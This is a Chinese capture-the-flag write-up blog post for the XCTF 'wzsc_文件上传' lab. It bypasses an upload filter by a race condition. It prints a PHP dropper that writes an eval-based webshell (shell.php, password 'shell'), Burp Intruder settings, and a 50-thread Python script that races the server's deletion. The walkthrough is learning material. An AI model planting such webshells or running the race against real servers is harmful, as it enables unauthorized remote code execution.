当前位置: 首页 > article >正文

114,【6】攻防世界 web wzsc_文件上传

进入靶场

传个桌面有的

直接空白了

我们

访问一下上传的东西

/index

没显示用于解析的.htaccess和.user.ini 文件,还两个都不显示

但上传的时候bp查看状态码是200,意味着上传成功了

别的博主说这是服务器在短时间内就立刻将其删掉了,需要采取条件竞争,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。大量的线程用于访问缓存数据,能够快速地从缓存中获取数据

这需要bp来实现(我勒个豆,bp这么高级)

文件名

1.php

文件内容

<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>

  • 此 PHP 代码的作用是创建一个名为 shell.php 的文件。
  • 并将 <?php @eval($_POST["shell"]); ?> 写入该文件。@eval($_POST["shell"]); 这部分代码会执行通过 POST 请求传递给 shell.php 的任意 PHP 代码

 上传时抓包发到intruder 

点击右边的资源池

右键名称处会自动填写,再设置最大请求数

还需要将攻击荷载设置为空

但是我这块设置不了,为空的时候,右边的payload那块就是空的,类型和无限重复就设置不了 

所以勾选了一个影响不大的东西,这里勾选的东西需要确保置换为空时不产生影响的

上一步实现后,运用大佬的脚本创造shell.php

import requests
import threading
import os

# 定义一个继承自 threading.Thread 的类 RaceCondition,用于模拟竞争条件下的文件上传和访问操作
class RaceCondition(threading.Thread):
    def __init__(self):
        # 调用父类 threading.Thread 的构造函数进行初始化
        threading.Thread.__init__(self)

        # 定义要访问的 URL,这里省略了具体的 URL,实际使用时需要补充完整
        self.url = '。。。。。。。。。。。。。。'
        # 定义上传文件的 URL,这里是上传到 shell.php 的地址
        self.uploadUrl = '。。。。。。。。。。upload/shell.php'

    # 定义一个私有方法 _get,用于尝试访问已上传的文件
    def _get(self):
        # 打印提示信息,表示正在尝试调用已上传的文件
        print('try to call uploaded file...')
        # 使用 requests 库发送 GET 请求到指定的 URL
        r = requests.get(self.url)
        # 检查响应的状态码是否为 200(表示请求成功)
        if r.status_code == 200:
            # 如果请求成功,打印成功信息
            print('[*] create file shell.php success.')
            # 退出整个 Python 程序
            os._exit(0)

    # 定义一个私有方法 _upload,用于上传文件
    def _upload(self):
        # 打印提示信息,表示正在上传文件
        print('upload file...')
        # 使用 requests 库发送 GET 请求到上传文件的 URL
        rs = requests.get(self.uploadUrl)
        # 检查响应的状态码是否为 200(表示请求成功)
        if rs.status_code == 200:
            # 如果请求成功,打印成功信息
            print('[*] create file shell.php success.')
            # 退出整个 Python 程序
            os._exit(0)

    # 定义线程的运行方法,当线程启动时会自动调用该方法
    def run(self):
        while True:
            # 循环 5 次,调用 _get 方法尝试访问已上传的文件
            for i in range(5):
                self._get()

            # 循环 10 次,每次先调用 _upload 方法上传文件,然后再调用 _get 方法尝试访问已上传的文件
            for i in range(10):
                self._upload()
                self._get()

if __name__ == '__main__':
    # 定义要创建的线程数量为 50
    threads = 50

    # 循环创建指定数量的线程实例,并启动这些线程
    for i in range(threads):
        # 创建一个 RaceCondition 类的实例
        t = RaceCondition()
        # 启动线程
        t.start()

    # 循环等待所有线程执行完毕
    for i in range(threads):
        # 调用线程的 join 方法,等待线程执行结束
        t.join()

 最后访问upload发现上传成功时,用蚂剑连接即可,密码就是shell

 终于做出来了


http://www.kler.cn/a/535121.html

相关文章:

  • go流程控制
  • linux常用基础命令 最新1
  • 支持向量机(一)
  • 【教程】docker升级镜像
  • ORACLE11g如何查询用户权限
  • 11. 9 构建生产级聊天对话记忆系统:从架构设计到性能优化的全链路指南
  • C++中命名空间(namespace)
  • 基于docker搭建Kafka集群,使用KRaft方式搭建,摒弃Zookeeper
  • 微软发布基于PostgreSQL的开源文档数据库平台DocumentDB
  • 【Android】jni开发之导入opencv和libyuv来进行图像处理
  • 高端入门:Ollama 本地高效部署DeepSeek模型深度搜索解决方案
  • Meta Sapiens AI论文解读:人类视觉模型基石初现,AI 未来走向何方?
  • 115,【7】 攻防世界 web fileinclude
  • 逐笔成交逐笔委托Level2高频数据下载和分析:20250206
  • (3)yaml语法
  • 无人机测绘技术,为行业开启解决方案新篇章!
  • 4.攻防世界 unseping
  • 设计模式Python版 享元模式
  • 【翻译+论文阅读】DeepSeek-R1评测:粉碎GPT-4和Claude 3.5的开源AI革命
  • GC日志的解读
  • Ubuntu 上可以安装ms sqlserver?(不能上网)
  • Flutter初相识
  • 来 Gitcode 免费体验 DeepSeek 蒸馏模型,开启 AI 探索新旅程
  • day33-数据同步rsync
  • deepseek来讲lua
  • 【centOS】搭建公司内网git环境-GitLab 社区版(GitLab CE)